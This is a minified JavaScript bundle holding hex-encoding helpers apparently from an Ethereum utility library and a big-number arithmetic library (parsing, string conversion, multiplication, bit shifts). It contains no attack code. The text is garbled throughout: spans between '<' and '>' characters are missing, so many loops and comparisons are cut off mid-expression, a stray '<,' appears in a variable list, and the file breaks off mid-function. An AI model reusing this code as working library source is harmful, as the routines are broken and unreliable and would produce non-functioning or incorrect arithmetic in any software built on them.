e.reduce(((t,e)=>(n.set(e,t),t+e.length)),0),w(n)}function k(t,e){return!(\"string\"!=typeof t||!t.match(/^0x[0-9A-Fa-f]*$/))&&(!e||t.length===2+2*e)}const D=\"0123456789abcdef\";function S(t,e){if(e||(e={}),\"number\"==typeof t){B.checkSafeUint53(t,\"invalid hexlify value\");let e=\"\";for(;t;)e=D[15&t]+e,t=Math.floor(t/16);return e.length?(e.length%2&&(e=\"0\"+e),\"0x\"+e):\"0x00\"}if(\"bigint\"==typeof t)return(t=t.toString(16)).length%2?\"0x0\"+t:\"0x\"+t;if(e.allowMissingPrefix&&\"string\"==typeof t&&\"0x\"!==t.substring(0,2)&&(t=\"0x\"+t),E(t))return t.toHexString();if(k(t))return t.length%2&&(\"left\"===e.hexPad?t=\"0x0\"+t.substring(2):\"right\"===e.hexPad?t+=\"0\":B.throwArgumentError(\"hex data is odd-length\",\"value\",t)),t.toLowerCase();if(_(t)){let e=\"0x\";for(let r=0;r>4]+D[15&n]}return e}return B.throwArgumentError(\"invalid hexlify value\",\"value\",t)}function N(t,e,r){return\"string\"!=typeof t?t=S(t):(!k(t)||t.length%2)&&B.throwArgumentError(\"invalid hexData\",\"value\",t),e=2+2*e,null!=r?\"0x\"+t.substring(e,2+2*r):\"0x\"+t.substring(e)}function M(t){let e=\"0x\";return t.forEach((t=>{e+=S(t).substring(2)})),e}function x(t,e){for(\"string\"!=typeof t?t=S(t):k(t)||B.throwArgumentError(\"invalid hex string\",\"value\",t),t.length>2*e+2&&B.throwArgumentError(\"value out of range\",\"value\",arguments[1]);t.length<2*e+2;)t=\"0x0\"+t.substring(2);return t}function F(t){return\"0x\"+h.keccak_256(Q(t))}var P={exports:{}},T=r(Object.freeze({__proto__:null,default:{}}));!function(t,e){function r(t,e){if(!t)throw new Error(e||\"Assertion failed\")}function n(t,e){t.super_=e;var r=function(){};r.prototype=e.prototype,t.prototype=new r,t.prototype.constructor=t}function A(t,e,r){if(A.isBN(t))return t;this.negative=0,this.words=null,this.length=0,this.red=null,null!==t&&(\"le\"!==e&&\"be\"!==e||(r=e,e=10),this._init(t||0,e||10,r||\"be\"))}var i;\"object\"==typeof t?t.exports=A:e.BN=A,A.BN=A,A.wordSize=26;try{i=\"undefined\"!=typeof window&&void 0!==window.Buffer?window.Buffer:T.Buffer}catch(t){}function o(t,e){var n=t.charCodeAt(e);return n>=48&&n<=57?n-48:n>=65&&n<=70?n-55:n>=97&&n<=102?n-87:void r(!1,\"Invalid character in \"+t)}function s(t,e,r){var n=o(t,r);return r-1>=e&&(n|=o(t,r-1)<<4),n}function a(t,e,n,A){for(var i=0,o=0,s=Math.min(t.length,n),a=e;a=49?c-49+10:c>=17?c-17+10:c,r(c>=0&&o0?t:e},A.min=function(t,e){return t.cmp(e)<0?t:e},A.prototype._init=function(t,e,n){if(\"number\"==typeof t)return this._initNumber(t,e,n);if(\"object\"==typeof t)return this._initArray(t,e,n);\"hex\"===e&&(e=16),r(e===(0|e)&&e>=2&&e<=36);var A=0;\"-\"===(t=t.toString().replace(/\\s+/g,\"\"))[0]&&(A++,this.negative=1),A=0;A-=3)o=t[A]|t[A-1]<<8|t[A-2]<<16,this.words[i]|=o<>>26-s&67108863,(s+=24)>=26&&(s-=26,i++);else if(\"le\"===n)for(A=0,i=0;A>>26-s&67108863,(s+=24)>=26&&(s-=26,i++);return this._strip()},A.prototype._parseHex=function(t,e,r){this.length=Math.ceil((t.length-e)/6),this.words=new Array(this.length);for(var n=0;n=e;n-=2)A=s(t,e,n)<=18?(i-=18,o+=1,this.words[o]|=A>>>26):i+=8;else for(n=(t.length-e)%2==0?e+1:e;n=18?(i-=18,o+=1,this.words[o]|=A>>>26):i+=8;this._strip()},A.prototype._parseBase=function(t,e,r){this.words=[0],this.length=1;for(var n=0,A=1;A<=67108863;A*=e)n++;n--,A=A/e|0;for(var i=t.length-r,o=i%n,s=Math.min(i,i-o)+r,c=0,h=r;h1&&0===this.words[this.length-1];)this.length--;return this._normSign()},A.prototype._normSign=function(){return 1===this.length&&0===this.words[0]&&(this.negative=0),this},\"undefined\"!=typeof Symbol&&\"function\"==typeof Symbol.for)try{A.prototype[Symbol.for(\"nodejs.util.inspect.custom\")]=h}catch(t){A.prototype.inspect=h}else A.prototype.inspect=h;function h(){return(this.red?\"\"}var g=[\"\",\"0\",\"00\",\"000\",\"0000\",\"00000\",\"000000\",\"0000000\",\"00000000\",\"000000000\",\"0000000000\",\"00000000000\",\"000000000000\",\"0000000000000\",\"00000000000000\",\"000000000000000\",\"0000000000000000\",\"00000000000000000\",\"000000000000000000\",\"0000000000000000000\",\"00000000000000000000\",\"000000000000000000000\",\"0000000000000000000000\",\"00000000000000000000000\",\"000000000000000000000000\",\"0000000000000000000000000\"],u=[0,0,25,16,12,11,10,9,8,8,7,7,7,7,6,6,6,6,6,6,6,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],l=[0,0,33554432,43046721,16777216,48828125,60466176,40353607,16777216,43046721,1e7,19487171,35831808,62748517,7529536,11390625,16777216,24137569,34012224,47045881,64e6,4084101,5153632,6436343,7962624,9765625,11881376,14348907,17210368,20511149,243e5,28629151,33554432,39135393,45435424,52521875,60466176];function f(t,e,r){r.negative=e.negative^t.negative;var n=t.length+e.length|0;r.length=n,n=n-1|0;var A=0|t.words[0],i=0|e.words[0],o=A*i,s=67108863&o,a=o/67108864|0;r.words[0]=s;for(var c=1;c>>26,g=67108863&a,u=Math.min(c,e.length-1),l=Math.max(0,c-t.length+1);l<=u;l++){var f=c-l|0;h+=(o=(A=0|t.words[f])*(i=0|e.words[l])+g)/67108864|0,g=67108863&o}r.words[c]=0|g,a=0|h}return 0!==a?r.words[c]=0|a:r.length--,r._strip()}A.prototype.toString=function(t,e){var n;if(e=0|e||1,16===(t=t||10)||\"hex\"===t){n=\"\";for(var A=0,i=0,o=0;o>>24-A&16777215,(A+=2)>=26&&(A-=26,o--),n=0!==i||o!==this.length-1?g[6-a.length]+a+n:a+n}for(0!==i&&(n=i.toString(16)+n);n.length%e!=0;)n=\"0\"+n;return 0!==this.negative&&(n=\"-\"+n),n}if(t===(0|t)&&t>=2&&t<=36){var c=u[t],h=l[t];n=\"\";var f=this.clone();for(f.negative=0;!f.isZero();){var p=f.modrn(h).toString(t);n=(f=f.idivn(h)).isZero()?p+n:g[c-p.length]+p+n}for(this.isZero()&&(n=\"0\"+n);n.length%e!=0;)n=\"0\"+n;return 0!==this.negative&&(n=\"-\"+n),n}r(!1,\"Base should be between 2 and 36\")},A.prototype.toNumber=function(){var t=this.words[0];return 2===this.length?t+=67108864*this.words[1]:3===this.length&&1===this.words[2]?t+=4503599627370496+67108864*this.words[1]:this.length>2&&r(!1,\"Number can only safely store up to 53 bits\"),0!==this.negative?-t:t},A.prototype.toJSON=function(){return this.toString(16,2)},i&&(A.prototype.toBuffer=function(t,e){return this.toArrayLike(i,t,e)}),A.prototype.toArray=function(t,e){return this.toArrayLike(Array,t,e)},A.prototype.toArrayLike=function(t,e,n){this._strip();var A=this.byteLength(),i=n||Math.max(1,A);r(A<=i,\"byte array longer than desired length\"),r(i>0,\"Requested array length <= 0\");var o=function(t,e){return t.allocUnsafe?t.allocUnsafe(e):new t(e)}(t,i);return this[\"_toArrayLike\"+(\"le\"===e?\"LE\":\"BE\")](o,A),o},A.prototype._toArrayLikeLE=function(t,e){for(var r=0,n=0,A=0,i=0;A>8&255),r>16&255),6===i?(r>24&255),n=0,i=0):(n=o>>>24,i+=2)}if(r=0&&(t[r--]=o>>8&255),r>=0&&(t[r--]=o>>16&255),6===i?(r>=0&&(t[r--]=o>>24&255),n=0,i=0):(n=o>>>24,i+=2)}if(r>=0)for(t[r--]=n;r>=0;)t[r--]=0},Math.clz32?A.prototype._countBits=function(t){return 32-Math.clz32(t)}:A.prototype._countBits=function(t){var e=t,r=0;return e>=4096&&(r+=13,e>>>=13),e>=64&&(r+=7,e>>>=7),e>=8&&(r+=4,e>>>=4),e>=2&&(r+=2,e>>>=2),r+e},A.prototype._zeroBits=function(t){if(0===t)return 26;var e=t,r=0;return 8191&e||(r+=13,e>>>=13),127&e||(r+=7,e>>>=7),15&e||(r+=4,e>>>=4),3&e||(r+=2,e>>>=2),1&e||r++,r},A.prototype.bitLength=function(){var t=this.words[this.length-1],e=this._countBits(t);return 26*(this.length-1)+e},A.prototype.zeroBits=function(){if(this.isZero())return 0;for(var t=0,e=0;et.length?this.clone().ior(t):t.clone().ior(this)},A.prototype.uor=function(t){return this.length>t.length?this.clone().iuor(t):t.clone().iuor(this)},A.prototype.iuand=function(t){var e;e=this.length>t.length?t:this;for(var r=0;rt.length?this.clone().iand(t):t.clone().iand(this)},A.prototype.uand=function(t){return this.length>t.length?this.clone().iuand(t):t.clone().iuand(this)},A.prototype.iuxor=function(t){var e,r;this.length>t.length?(e=this,r=t):(e=t,r=this);for(var n=0;nt.length?this.clone().ixor(t):t.clone().ixor(this)},A.prototype.uxor=function(t){return this.length>t.length?this.clone().iuxor(t):t.clone().iuxor(this)},A.prototype.inotn=function(t){r(\"number\"==typeof t&&t>=0);var e=0|Math.ceil(t/26),n=t%26;this._expand(e),n>0&&e--;for(var A=0;A0&&(this.words[A]=~this.words[A]&67108863>>26-n),this._strip()},A.prototype.notn=function(t){return this.clone().inotn(t)},A.prototype.setn=function(t,e){r(\"number\"==typeof t&&t>=0);var n=t/26|0,A=t%26;return this._expand(n+1),this.words[n]=e?this.words[n]|1<t.length?(r=this,n=t):(r=t,n=this);for(var A=0,i=0;i>>26;for(;0!==A&&i>>26;if(this.length=r.length,0!==A)this.words[this.length]=A,this.length++;else if(r!==this)for(;it.length?this.clone().iadd(t):t.clone().iadd(this)},A.prototype.isub=function(t){if(0!==t.negative){t.negative=0;var e=this.iadd(t);return t.negative=1,e._normSign()}if(0!==this.negative)return this.negative=0,this.iadd(t),this.negative=1,this._normSign();var r,n,A=this.cmp(t);if(0===A)return this.negative=0,this.length=1,this.words[0]=0,this;A>0?(r=this,n=t):(r=t,n=this);for(var i=0,o=0;o>26,this.words[o]=67108863&e;for(;0!==i&&o>26,this.words[o]=67108863&e;if(0===i&&o>>13,l=0|o[1],f=8191&l,p=l>>>13,d=0|o[2],I=8191&d,y=d>>>13,C=0|o[3],m=8191&C,B=C>>>13,E=0|o[4],w=8191&E,v=E>>>13,_=0|o[5],Q=8191&_,b=_>>>13,k=0|o[6],D=8191&k,S=k>>>13,N=0|o[7],M=8191&N,x=N>>>13,F=0|o[8],P=8191&F,T=F>>>13,R=0|o[9],U=8191&R,G=R>>>13,H=0|s[0],L=8191&H,O=H>>>13,Y=0|s[1],K=8191&Y,J=Y>>>13,j=0|s[2],z=8191&j,q=j>>>13,X=0|s[3],V=8191&X,W=X>>>13,Z=0|s[4],$=8191&Z,tt=Z>>>13,et=0|s[5],rt=8191&et,nt=et>>>13,At=0|s[6],it=8191&At,ot=At>>>13,st=0|s[7],at=8191&st,ct=st>>>13,ht=0|s[8],gt=8191&ht,ut=ht>>>13,lt=0|s[9],ft=8191<,pt=lt>>>13;r.negative=t.negative^e.negative,r.length=19;var dt=(c+(n=Math.imul(g,L))|0)+((8191&(A=(A=Math.imul(g,O))+Math.imul(u,L)|0))<<13)|0;c=((i=Math.imul(u,O))+(A>>>13)|0)+(dt>>>26)|0,dt&=67108863,n=Math.imul(f,L),A=(A=Math.imul(f,O))+Math.imul(p,L)|0,i=Math.imul(p,O);var It=(c+(n=n+Math.imul(g,K)|0)|0)+((8191&(A=(A=A+Math.imul(g,J)|0)+Math.imul(u,K)|0))<<13)|0;c=((i=i+Math.imul(u,J)|0)+(A>>>13)|0)+(It>>>26)|0,It&=67108863,n=Math.imul(I,L),A=(A=Math.imul(I,O))+Math.imul(y,L)|0,i=Math.imul(y,O),n=n+Math.imul(f,K)|0,A=(A=A+Math.imul(f,J)|0)+Math.imul(p,K)|0,i=i+Math.imul(p,J)|0;var yt=(c+(n=n+Math.imul(g,z)|0)|0)+((8191&(A=(A=A+Math.imul(g,q)|0)+Math.imul(u,z)|0))<<13)|0;c=((i=i+Math.imul(u,q)|0)+(A>>>13)|0)+(yt>>>26)|0,yt&=67108863,n=Math.imul(m,L),A=(A=Math.imul(m,O))+Math.imul(B,L)|0,i=Math.imul(B,O),n=n+Math.imul(I,K)|0,A=(A=A+Math.imul(I,J)|0)+Math.imul(y,K)|0,i=i+Math.imul(y,J)|0,n=n+Math.imul(f,z)|0,A=(A=A+Math.imul(f,q)|0)+Math.imul(p,z)|0,i=i+Math.imul(p,q)|0;var Ct=(c+(n=n+Math.imul(g,V)|0)|0)+((8191&(A=(A=A+Math.imul(g,W)|0)+Math.imul(u,V)|0))<<13)|0;c=((i=i+Math.imul(u,W)|0)+(A>>>13)|0)+(Ct>>>26)|0,Ct&=67108863,n=Math.imul(w,L),A=(A=Math.imul(w,O))+Math.imul(v,L)|0,i=Math.imul(v,O),n=n+Math.imul(m,K)|0,A=(A=A+Math.imul(m,J)|0)+Math.imul(B,K)|0,i=i+Math.imul(B,J)|0,n=n+Math.imul(I,z)|0,A=(A=A+Math.imul(I,q)|0)+Math.imul(y,z)|0,i=i+Math.imul(y,q)|0,n=n+Math.imul(f,V)|0,A=(A=A+Math.imul(f,W)|0)+Math.imul(p,V)|0,i=i+Math.imul(p,W)|0;var mt=(c+(n=n+Math.imul(g,$)|0)|0)+((8191&(A=(A=A+Math.imul(g,tt)|0)+Math.imul(u,$)|0))<<13)|0;c=((i=i+Math.imul(u,tt)|0)+(A>>>13)|0)+(mt>>>26)|0,mt&=67108863,n=Math.imul(Q,L),A=(A=Math.imul(Q,O))+Math.imul(b,L)|0,i=Math.imul(b,O),n=n+Math.imul(w,K)|0,A=(A=A+Math.imul(w,J)|0)+Math.imul(v,K)|0,i=i+Math.imul(v,J)|0,n=n+Math.imul(m,z)|0,A=(A=A+Math.imul(m,q)|0)+Math.imul(B,z)|0,i=i+Math.imul(B,q)|0,n=n+Math.imul(I,V)|0,A=(A=A+Math.imul(I,W)|0)+Math.imul(y,V)|0,i=i+Math.imul(y,W)|0,n=n+Math.imul(f,$)|0,A=(A=A+Math.imul(f,tt)|0)+Math.imul(p,$)|0,i=i+Math.imul(p,tt)|0;var Bt=(c+(n=n+Math.imul(g,rt)|0)|0)+((8191&(A=(A=A+Math.imul(g,nt)|0)+Math.imul(u,rt)|0))<<13)|0;c=((i=i+Math.imul(u,nt)|0)+(A>>>13)|0)+(Bt>>>26)|0,Bt&=67108863,n=Math.imul(D,L),A=(A=Math.imul(D,O))+Math.imul(S,L)|0,i=Math.imul(S,O),n=n+Math.imul(Q,K)|0,A=(A=A+Math.imul(Q,J)|0)+Math.imul(b,K)|0,i=i+Math.imul(b,J)|0,n=n+Math.imul(w,z)|0,A=(A=A+Math.imul(w,q)|0)+Math.imul(v,z)|0,i=i+Math.imul(v,q)|0,n=n+Math.imul(m,V)|0,A=(A=A+Math.imul(m,W)|0)+Math.imul(B,V)|0,i=i+Math.imul(B,W)|0,n=n+Math.imul(I,$)|0,A=(A=A+Math.imul(I,tt)|0)+Math.imul(y,$)|0,i=i+Math.imul(y,tt)|0,n=n+Math.imul(f,rt)|0,A=(A=A+Math.imul(f,nt)|0)+Math.imul(p,rt)|0,i=i+Math.imul(p,nt)|0;var Et=(c+(n=n+Math.imul(g,it)|0)|0)+((8191&(A=(A=A+Math.imul(g,ot)|0)+Math.imul(u,it)|0))<<13)|0;c=((i=i+Math.imul(u,ot)|0)+(A>>>13)|0)+(Et>>>26)|0,Et&=67108863,n=Math.imul(M,L),A=(A=Math.imul(M,O))+Math.imul(x,L)|0,i=Math.imul(x,O),n=n+Math.imul(D,K)|0,A=(A=A+Math.imul(D,J)|0)+Math.imul(S,K)|0,i=i+Math.imul(S,J)|0,n=n+Math.imul(Q,z)|0,A=(A=A+Math.imul(Q,q)|0)+Math.imul(b,z)|0,i=i+Math.imul(b,q)|0,n=n+Math.imul(w,V)|0,A=(A=A+Math.imul(w,W)|0)+Math.imul(v,V)|0,i=i+Math.imul(v,W)|0,n=n+Math.imul(m,$)|0,A=(A=A+Math.imul(m,tt)|0)+Math.imul(B,$)|0,i=i+Math.imul(B,tt)|0,n=n+Math.imul(I,rt)|0,A=(A=A+Math.imul(I,nt)|0)+Math.imul(y,rt)|0,i=i+Math.imul(y,nt)|0,n=n+Math.imul(f,it)|0,A=(A=A+Math.imul(f,ot)|0)+Math.imul(p,it)|0,i=i+Math.imul(p,ot)|0;var wt=(c+(n=n+Math.imul(g,at)|0)|0)+((8191&(A=(A=A+Math.imul(g,ct)|0)+Math.imul(u,at)|0))<<13)|0;c=((i=i+Math.imul(u,ct)|0)+(A>>>13)|0)+(wt>>>26)|0,wt&=67108863,n=Math.imul(P,L),A=(A=Math.imul(P,O))+Math.imul(T,L)|0,i=Math.imul(T,O),n=n+Math.imul(M,K)|0,A=(A=A+Math.imul(M,J)|0)+Math.imul(x,K)|0,i=i+Math.imul(x,J)|0,n=n+Math.imul(D,z)|0,A=(A=A+Math.imul(D,q)|0)+Math.imul(S,z)|0,i=i+Math.imul(S,q)|0,n=n+Math.imul(Q,V)|0,A=(A=A+Math.imul(Q,W)|0)+Math.imul(b,V)|0,i=i+Math.imul(b,W)|0,n=n+Math.imul(w,$)|0,A=(A=A+Math.imul(w,tt)|0)+Math.imul(v,$)|0,i=i+Math.imul(v,tt)|0,n=n+Math.imul(m,rt)|0,A=(A=A+Math.imul(m,nt)|0)+Math.imul(B,rt)|0,i=i+Math.imul(B,nt)|0,n=n+Math.imul(I,it)|0,A=(A=A+Math.imul(I,ot)|0)+Math.imul(y,it)|0,i=i+Math.imul(y,ot)|0,n=n+Math.imul(f,at)|0,A=(A=A+Math.imul(f,ct)|0)+Math.imul(p,at)|0,i=i+Math.imul(p,ct)|0;var vt=(c+(n=n+Math.imul(g,gt)|0)|0)+((8191&(A=(A=A+Math.imul(g,ut)|0)+Math.imul(u,gt)|0))<<13)|0;c=((i=i+Math.imul(u,ut)|0)+(A>>>13)|0)+(vt>>>26)|0,vt&=67108863,n=Math.imul(U,L),A=(A=Math.imul(U,O))+Math.imul(G,L)|0,i=Math.imul(G,O),n=n+Math.imul(P,K)|0,A=(A=A+Math.imul(P,J)|0)+Math.imul(T,K)|0,i=i+Math.imul(T,J)|0,n=n+Math.imul(M,z)|0,A=(A=A+Math.imul(M,q)|0)+Math.imul(x,z)|0,i=i+Math.imul(x,q)|0,n=n+Math.imul(D,V)|0,A=(A=A+Math.imul(D,W)|0)+Math.imul(S,V)|0,i=i+Math.imul(S,W)|0,n=n+Math.imul(Q,$)|0,A=(A=A+Math.imul(Q,tt)|0)+Math.imul(b,$)|0,i=i+Math.imul(b,tt)|0,n=n+Math.imul(w,rt)|0,A=(A=A+Math.imul(w,nt)|0)+Math.imul(v,rt)|0,i=i+Math.imul(v,nt)|0,n=n+Math.imul(m,it)|0,A=(A=A+Math.imul(m,ot)|0)+Math.imul(B,it)|0,i=i+Math.imul(B,ot)|0,n=n+Math.imul(I,at)|0,A=(A=A+Math.imul(I,ct)|0)+Math.imul(y,at)|0,i=i+Math.imul(y,ct)|0,n=n+Math.imul(f,gt)|0,A=(A=A+Math.imul(f,ut)|0)+Math.imul(p,gt)|0,i=i+Math.imul(p,ut)|0;var _t=(c+(n=n+Math.imul(g,ft)|0)|0)+((8191&(A=(A=A+Math.imul(g,pt)|0)+Math.imul(u,ft)|0))<<13)|0;c=((i=i+Math.imul(u,pt)|0)+(A>>>13)|0)+(_t>>>26)|0,_t&=67108863,n=Math.imul(U,K),A=(A=Math.imul(U,J))+Math.imul(G,K)|0,i=Math.imul(G,J),n=n+Math.imul(P,z)|0,A=(A=A+Math.imul(P,q)|0)+Math.imul(T,z)|0,i=i+Math.imul(T,q)|0,n=n+Math.imul(M,V)|0,A=(A=A+Math.imul(M,W)|0)+Math.imul(x,V)|0,i=i+Math.imul(x,W)|0,n=n+Math.imul(D,$)|0,A=(A=A+Math.imul(D,tt)|0)+Math.imul(S,$)|0,i=i+Math.imul(S,tt)|0,n=n+Math.imul(Q,rt)|0,A=(A=A+Math.imul(Q,nt)|0)+Math.imul(b,rt)|0,i=i+Math.imul(b,nt)|0,n=n+Math.imul(w,it)|0,A=(A=A+Math.imul(w,ot)|0)+Math.imul(v,it)|0,i=i+Math.imul(v,ot)|0,n=n+Math.imul(m,at)|0,A=(A=A+Math.imul(m,ct)|0)+Math.imul(B,at)|0,i=i+Math.imul(B,ct)|0,n=n+Math.imul(I,gt)|0,A=(A=A+Math.imul(I,ut)|0)+Math.imul(y,gt)|0,i=i+Math.imul(y,ut)|0;var Qt=(c+(n=n+Math.imul(f,ft)|0)|0)+((8191&(A=(A=A+Math.imul(f,pt)|0)+Math.imul(p,ft)|0))<<13)|0;c=((i=i+Math.imul(p,pt)|0)+(A>>>13)|0)+(Qt>>>26)|0,Qt&=67108863,n=Math.imul(U,z),A=(A=Math.imul(U,q))+Math.imul(G,z)|0,i=Math.imul(G,q),n=n+Math.imul(P,V)|0,A=(A=A+Math.imul(P,W)|0)+Math.imul(T,V)|0,i=i+Math.imul(T,W)|0,n=n+Math.imul(M,$)|0,A=(A=A+Math.imul(M,tt)|0)+Math.imul(x,$)|0,i=i+Math.imul(x,tt)|0,n=n+Math.imul(D,rt)|0,A=(A=A+Math.imul(D,nt)|0)+Math.imul(S,rt)|0,i=i+Math.imul(S,nt)|0,n=n+Math.imul(Q,it)|0,A=(A=A+Math.imul(Q,ot)|0)+Math.imul(b,it)|0,i=i+Math.imul(b,ot)|0,n=n+Math.imul(w,at)|0,A=(A=A+Math.imul(w,ct)|0)+Math.imul(v,at)|0,i=i+Math.imul(v,ct)|0,n=n+Math.imul(m,gt)|0,A=(A=A+Math.imul(m,ut)|0)+Math.imul(B,gt)|0,i=i+Math.imul(B,ut)|0;var bt=(c+(n=n+Math.imul(I,ft)|0)|0)+((8191&(A=(A=A+Math.imul(I,pt)|0)+Math.imul(y,ft)|0))<<13)|0;c=((i=i+Math.imul(y,pt)|0)+(A>>>13)|0)+(bt>>>26)|0,bt&=67108863,n=Math.imul(U,V),A=(A=Math.imul(U,W))+Math.imul(G,V)|0,i=Math.imul(G,W),n=n+Math.imul(P,$)|0,A=(A=A+Math.imul(P,tt)|0)+Math.imul(T,$)|0,i=i+Math.imul(T,tt)|0,n=n+Math.imul(M,rt)|0,A=(A=A+Math.imul(M,nt)|0)+Math.imul(x,rt)|0,i=i+Math.imul(x,nt)|0,n=n+Math.imul(D,it)|0,A=(A=A+Math.imul(D,ot)|0)+Math.imul(S,it)|0,i=i+Math.imul(S,ot)|0,n=n+Math.imul(Q,at)|0,A=(A=A+Math.imul(Q,ct)|0)+Math.imul(b,at)|0,i=i+Math.imul(b,ct)|0,n=n+Math.imul(w,gt)|0,A=(A=A+Math.imul(w,ut)|0)+Math.imul(v,gt)|0,i=i+Math.imul(v,ut)|0;var kt=(c+(n=n+Math.imul(m,ft)|0)|0)+((8191&(A=(A=A+Math.imul(m,pt)|0)+Math.imul(B,ft)|0))<<13)|0;c=((i=i+Math.imul(B,pt)|0)+(A>>>13)|0)+(kt>>>26)|0,kt&=67108863,n=Math.imul(U,$),A=(A=Math.imul(U,tt))+Math.imul(G,$)|0,i=Math.imul(G,tt),n=n+Math.imul(P,rt)|0,A=(A=A+Math.imul(P,nt)|0)+Math.imul(T,rt)|0,i=i+Math.imul(T,nt)|0,n=n+Math.imul(M,it)|0,A=(A=A+Math.imul(M,ot)|0)+Math.imul(x,it)|0,i=i+Math.imul(x,ot)|0,n=n+Math.imul(D,at)|0,A=(A=A+Math.imul(D,ct)|0)+Math.imul(S,at)|0,i=i+Math.imul(S,ct)|0,n=n+Math.imul(Q,gt)|0,A=(A=A+Math.imul(Q,ut)|0)+Math.imul(b,gt)|0,i=i+Math.imul(b,ut)|0;var Dt=(c+(n=n+Math.imul(w,ft)|0)|0)+((8191&(A=(A=A+Math.imul(w,pt)|0)+Math.imul(v,ft)|0))<<13)|0;c=((i=i+Math.imul(v,pt)|0)+(A>>>13)|0)+(Dt>>>26)|0,Dt&=67108863,n=Math.imul(U,rt),A=(A=Math.imul(U,nt))+Math.imul(G,rt)|0,i=Math.imul(G,nt),n=n+Math.imul(P,it)|0,A=(A=A+Math.imul(P,ot)|0)+Math.imul(T,it)|0,i=i+Math.imul(T,ot)|0,n=n+Math.imul(M,at)|0,A=(A=A+Math.imul(M,ct)|0)+Math.imul(x,at)|0,i=i+Math.imul(x,ct)|0,n=n+Math.imul(D,gt)|0,A=(A=A+Math.imul(D,ut)|0)+Math.imul(S,gt)|0,i=i+Math.imul(S,ut)|0;var St=(c+(n=n+Math.imul(Q,ft)|0)|0)+((8191&(A=(A=A+Math.imul(Q,pt)|0)+Math.imul(b,ft)|0))<<13)|0;c=((i=i+Math.imul(b,pt)|0)+(A>>>13)|0)+(St>>>26)|0,St&=67108863,n=Math.imul(U,it),A=(A=Math.imul(U,ot))+Math.imul(G,it)|0,i=Math.imul(G,ot),n=n+Math.imul(P,at)|0,A=(A=A+Math.imul(P,ct)|0)+Math.imul(T,at)|0,i=i+Math.imul(T,ct)|0,n=n+Math.imul(M,gt)|0,A=(A=A+Math.imul(M,ut)|0)+Math.imul(x,gt)|0,i=i+Math.imul(x,ut)|0;var Nt=(c+(n=n+Math.imul(D,ft)|0)|0)+((8191&(A=(A=A+Math.imul(D,pt)|0)+Math.imul(S,ft)|0))<<13)|0;c=((i=i+Math.imul(S,pt)|0)+(A>>>13)|0)+(Nt>>>26)|0,Nt&=67108863,n=Math.imul(U,at),A=(A=Math.imul(U,ct))+Math.imul(G,at)|0,i=Math.imul(G,ct),n=n+Math.imul(P,gt)|0,A=(A=A+Math.imul(P,ut)|0)+Math.imul(T,gt)|0,i=i+Math.imul(T,ut)|0;var Mt=(c+(n=n+Math.imul(M,ft)|0)|0)+((8191&(A=(A=A+Math.imul(M,pt)|0)+Math.imul(x,ft)|0))<<13)|0;c=((i=i+Math.imul(x,pt)|0)+(A>>>13)|0)+(Mt>>>26)|0,Mt&=67108863,n=Math.imul(U,gt),A=(A=Math.imul(U,ut))+Math.imul(G,gt)|0,i=Math.imul(G,ut);var xt=(c+(n=n+Math.imul(P,ft)|0)|0)+((8191&(A=(A=A+Math.imul(P,pt)|0)+Math.imul(T,ft)|0))<<13)|0;c=((i=i+Math.imul(T,pt)|0)+(A>>>13)|0)+(xt>>>26)|0,xt&=67108863;var Ft=(c+(n=Math.imul(U,ft))|0)+((8191&(A=(A=Math.imul(U,pt))+Math.imul(G,ft)|0))<<13)|0;return c=((i=Math.imul(G,pt))+(A>>>13)|0)+(Ft>>>26)|0,Ft&=67108863,a[0]=dt,a[1]=It,a[2]=yt,a[3]=Ct,a[4]=mt,a[5]=Bt,a[6]=Et,a[7]=wt,a[8]=vt,a[9]=_t,a[10]=Qt,a[11]=bt,a[12]=kt,a[13]=Dt,a[14]=St,a[15]=Nt,a[16]=Mt,a[17]=xt,a[18]=Ft,0!==c&&(a[19]=c,r.length++),r};function d(t,e,r){r.negative=e.negative^t.negative,r.length=t.length+e.length;for(var n=0,A=0,i=0;i>>26)|0)>>>26,o&=67108863}r.words[i]=s,n=o,o=A}return 0!==n?r.words[i]=n:r.length--,r._strip()}function I(t,e,r){return d(t,e,r)}Math.imul||(p=f),A.prototype.mulTo=function(t,e){var r=this.length+t.length;return 10===this.length&&10===t.length?p(this,t,e):r<63?f(this,t,e):r<1024?d(this,t,e):I(this,t,e)},A.prototype.mul=function(t){var e=new A(null);return e.words=new Array(this.length+t.length),this.mulTo(t,e)},A.prototype.mulf=function(t){var e=new A(null);return e.words=new Array(this.length+t.length),I(this,t,e)},A.prototype.imul=function(t){return this.clone().mulTo(t,this)},A.prototype.imuln=function(t){var e=t<0;e&&(t=-t),r(\"number\"==typeof t),r(t<67108864);for(var n=0,A=0;A>=26,n+=i/67108864|0,n+=o>>>26,this.words[A]=67108863&o}return 0!==n&&(this.words[A]=n,this.length++),e?this.ineg():this},A.prototype.muln=function(t){return this.clone().imuln(t)},A.prototype.sqr=function(){return this.mul(this)},A.prototype.isqr=function(){return this.imul(this.clone())},A.prototype.pow=function(t){var e=function(t){for(var e=new Array(t.bitLength()),r=0;r>>A&1}return e}(t);if(0===e.length)return new A(1);for(var r=this,n=0;n=0);var e,n=t%26,A=(t-n)/26,i=67108863>>>26-n<<26-n;if(0!==n){var o=0;for(e=0;e>>26-n}o&&(this.words[e]=o,this.length++)}if(0!==A){for(e=this.length-1;e>=0;e--)this.words[e+A]=this.words[e];for(e=0;e=0),A=e?(e-e%26)/26:0;var i=t%26,o=Math.min((t-i)/26,this.length),s=67108863^67108863>>>i<o)for(this.length-=o,c=0;c=0&&(0!==h||c>=A);c--){var g=0|this.words[c];this.words[c]=h<<26-i|g>>>i,h=g&s}return a&&0!==h&&(a.words[a.length++]=h),0===this.length&&(this.words[0]=0,this.length=1),this._strip()},A.prototype.ishrn=function(t,e,n){return r(0===this.negative),this.iushrn(t,e,n)},A.prototype.shln=function(t){return this.clone().ishln(t)},A.prototype.ushln=function(t){return this.clone().iushln(t)},A.prototype.shrn=function(t){return this.clone().ishrn(t)},A.prototype.ushrn=function(t){return this.clone().iushrn(t)},A.prototype.testn=function(t){r(\"number\"==typeof t&&t>=0);var e=t%26,n=(t-e)/26,A=1<=0);var e=t%26,n=(t-e)/26;if(r(0===this.negative,\"imaskn works only with positive numbers\"),this.length<=n)return this;if(0!==e&&n++,this.length=Math.min(n,this.length),0!==e){var A=67108863^67108863>>>e<=67108864;e++)this.words[e]-=67108864,e===this.length-1?this.words[e+1]=1:this.words[e+1]++;return this.length=Math.max(this.length,e+1),this},A.prototype.isubn=function(t){if(r(\"number\"==typeof t),r(t<67108864),t<0)return 